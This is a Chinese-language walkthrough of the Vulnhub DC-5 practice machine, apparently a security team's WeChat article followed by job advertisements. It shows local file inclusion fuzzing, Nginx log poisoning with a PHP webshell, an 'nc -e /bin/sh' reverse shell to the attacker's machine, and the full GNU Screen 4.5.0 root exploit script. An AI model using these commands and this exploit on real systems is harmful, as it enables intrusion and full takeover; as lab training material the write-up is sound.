声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经雷神众测允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。
搭建测试靶机
下载地址：https://www.five86.com/dc-5.html
则靶机DC-5 ip：192.168.188.158（NAT连接）
攻击机kalilinux ip：192.168.188.144
信息收集
用netdiscover -r 192.168.188.0/24 扫描ip，得到靶机ip 192.168.188.160
先来端口扫描
利用nmap对目标主机进行端口扫描，发现开放端口：80
使用命令：nmap -A -p- 192.168.188.160
扫描目录
命令：dirb http://192.168.188.160
访问DC-5的web服务，只有一个提示，看不出什么特别来
查看一下网站的页面功能后，点击打开contact页面的提交留言后，出现改变。
发现contact页面在提交留言后，出现改变，年份刷新一次改变一次。
直接访问http://192.168.188.160/thinkyou.php也是一样的界面
访问http://192.168.188.160/footer.php
漏洞利用
考虑存在文件包含
服务器执行PHP文件时，可以通过文件包含函数加载另一个文件中的PHP代码，并且当PHP来执行，这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时，您只更新一个包含文件就可以了，或者当您向网站添加一张新页面时，仅仅需要修改一下菜单文件（而不是更新所有网页中的链接）
该网站网页每刷新一次，年份都会发生变化，因此我们猜测thinkyou.php调用了footer.php，于是想到了文件包含漏洞
尝试FUZZ参数
root:~# wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://192.168.188.160/thankyou.php?FUZZ=/etc/passwd
用burp抓包检测，可以看到的确存在该漏洞并且没有过滤包含进来的内容
将一句话木马写入到php的日志文件中，包含文件
在前面的nmap扫描中，我们已经知道该web服务器使用的是Nginx服务，并且在网站上的每一步操作都将会被写入日志文件log内，因此我们可以通过log来拿 shell，写入phpinfo（）进行探测，是否可以包含成功。
将一句话木马通过URL写入到服务器上面，并且通过burp进行抓包。
通过日志文件log查看是否写入成功。
日志路径为：/var/log/nginx/access.log，是系统默认路径
通过firefox浏览器打开访问URL：http://192.168.188.160/thankyou.php?file=/var/log/nginx/access.log，发现一句话木马已经写入成功。
使用bp抓包写入PHP的执行系统命令 （关于passthru（）函数的快速描述passthru - 执行外部程序并显示原始输出）
进行测试，看是否外部命令是否能够正常执行的；
命令：http://192.168.188.160/thankyou.php?file=/var/log/nginx/access.log&abc=cat%20/etc/passwd
反弹shell
通过nc命令直接进行shell反弹
abc=nc -e /bin/sh 192.168.188.144 7777http://192.168.188.160/thankyou.php?file=/var/log/nginx/access.log&abc=nc -e /bin/sh 192.168.188.144 777
在kali上用命令：nc -lvvp 7777 对端口7777进行监听
切换到交互模式shell
交互式shell命令:python -c 'import pty;pty.spawn("/bin/bash")'
查看具有特殊权限的二进制文件
查找一下可以用root权限运行的命令；
命令：find / -perm -u=s -type f 2>/dev/null
这里我们发现了一个screen-4.5.0的这个特殊文件
在kali中使用searchsploit命令对screen-4.5.0漏洞进行搜索
root@kalilinux:~# searchsploit screen 4.5.0---------------------------------------------------------------------------------------- ----------------------------------------Exploit Title | Path| (/usr/share/exploitdb/)---------------------------------------------------------------------------------------- ----------------------------------------GNU Screen 4.5.0 - Local Privilege Escalation | exploits/linux/local/41154.shGNU Screen 4.5.0 - Local Privilege Escalation (PoC) | exploits/linux/local/41152.txt---------------------------------------------------------------------------------------- ----------------------------------------Shellcodes: No Result
我们直接利用
/usr/share/exploitdb/exploits/linux/local/目录下的41154.sh文件
将该41154.sh文件拷贝到/root目录下
将41154.sh文件上传到目标机DC-5上面
kali中当前路径开启python.server，供DC-5下载
命令：python -m SimpleHTTPServer 9999
用python开启简单的服务器后，在以获得的DC-5的getshell下载41154.sh文件；
编译脚本
chmod +x 41154.sh./41154.sh
我们可以发现，脚本执行出现错误。
重新在kali中打开41154.sh文件，研究一下41154.sh脚本代码
root@kalilinux:~# !/bin/bash# HACK THE PLANET# ~ infodox (25/1/2017)echo "~ gnu/screenroot ~"echo "[+] First, we create our shell and library..."cat << EOF > /tmp/libhax.c__attribute__ ((__constructor__))void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!n");}EOFgcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.crm -f /tmp/libhax.ccat << EOF > /tmp/rootshell.cint main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);}EOFgcc -o /tmp/rootshell /tmp/rootshell.crm -f /tmp/rootshell.cecho "[+] Now we create our /etc/ld.so.preload file..."cd /etcumask 000screen -D -m -L ld.so.preload echo -ne "x0a/tmp/libhax.so"echo "[+] Triggering..."screen -ls/tmp/rootshell[plain]:set ff=unixroot@kalilinux:~#
通过以上分析，我们应该对以上代码分三步走
第一步：把该bash文件的上面一部分c语言代码单独复制出来，如图
libhax.c进行编译，编译完成后将libhax.c文件删除；
第二步：把下面一个c语言代码也单独复制出来取文件名为rootshell.c，然后进行编译操作
对rootshell.c文件进行gcc编译后，将原文件rootshell.c删除掉；
第三步：修改原来41154.sh的bash文件，如下图所示
第四步：通过vi编译器打开已经编译好的41154.sh文件，并使用 :set ff=unix 进行保存
编译后对41154.sh进行更名为dc5.sh
最后把编译好的两个文件（libhax.so 和 rootshell）和41154.sh文件全部都上传到DC-5靶机上面
提权
给dc5.sh文件赋予执行权，并且运行dc5.sh，提权成功
招聘启事
安恒雷神众测SRC运营（实习生）
————————
【职责描述】
1. 负责SRC的微博、微信公众号等线上新媒体的运营工作，保持用户活跃度，提高站点访问量；
2. 负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作，促进审核人员与白帽子之间友好协作沟通；
3. 参与策划、组织和落实针对白帽子的线下活动，如沙龙、发布会、技术交流论坛等；
4. 积极参与雷神众测的品牌推广工作，协助技术人员输出优质的技术文章；
5. 积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。
【任职要求】
1. 责任心强，性格活泼，具备良好的人际交往能力；
2. 对网络安全感兴趣，对行业有基本了解；
3. 良好的文案写作能力和活动组织协调能力。
简历投递至
设计师（实习生）
————————
【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作，负责产品品牌设计。
【职位要求】
1、从事平面设计相关工作1年以上，熟悉印刷工艺；具有敏锐的观察力及审美能力，及优异的创意设计能力；有 VI 设计、广告设计、画册设计等专长；
2、有良好的美术功底，审美能力和创意，色彩感强；精通photoshop/illustrator/coreldrew/等设计制作软件；
3、有品牌传播、产品设计或新媒体视觉工作经历；
【关于岗位的其他信息】
企业名称：杭州安恒信息技术股份有限公司
办公地点：杭州市滨江区安恒大厦19楼
学历要求：本科及以上
工作年限：1年及以上，条件优秀者可放宽
简历投递至
安全招聘
————————
公司：安恒信息
岗位：Web安全 安全研究员
部门：战略支援部
薪资：13-30K
工作年限：1年+
工作地点：杭州（总部）、广州、成都、上海、北京
工作环境：一座大厦，健身场所，医师，帅哥，美女，高级食堂…
【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀；
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案
【岗位要求】
1.至少1年安全领域工作经验；
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例；
4.熟练掌握php、java、asp.net代码审计基础（一种或多种）
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验，熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种（Asp.net、Python、php、java）
【加分项】
1.具备良好的英语文档阅读能力；
2.曾参加过技术沙龙担任嘉宾进行技术分享；
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者；
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者；
5.开发过安全相关的开源项目；
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先；
7.个人技术博客；
8.在优质社区投稿过文章；
岗位：安全红队武器自动化工程师
薪资：13-30K
工作年限：2年+
工作地点：杭州（总部）
【岗位职责】
1.负责红蓝对抗中的武器化落地与研究；
2.平台化建设；
3.安全研究落地。
【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言；
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案；
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理；
4.对安全技术有浓厚的兴趣及热情，有主观研究和学习的动力；
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力，善于沟通、乐于分享。
【加分项】
1.有高并发tcp服务、分布式等相关经验者优先；
2.在github上有开源安全产品优先；
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先；
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先；
5.具备良好的英语文档阅读能力。
简历投递至
专注渗透测试技术
全球最新网络攻击技术
END
原文始发于微信公众号（白帽子）：Vulnhub 靶机实战系列：DC -5
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论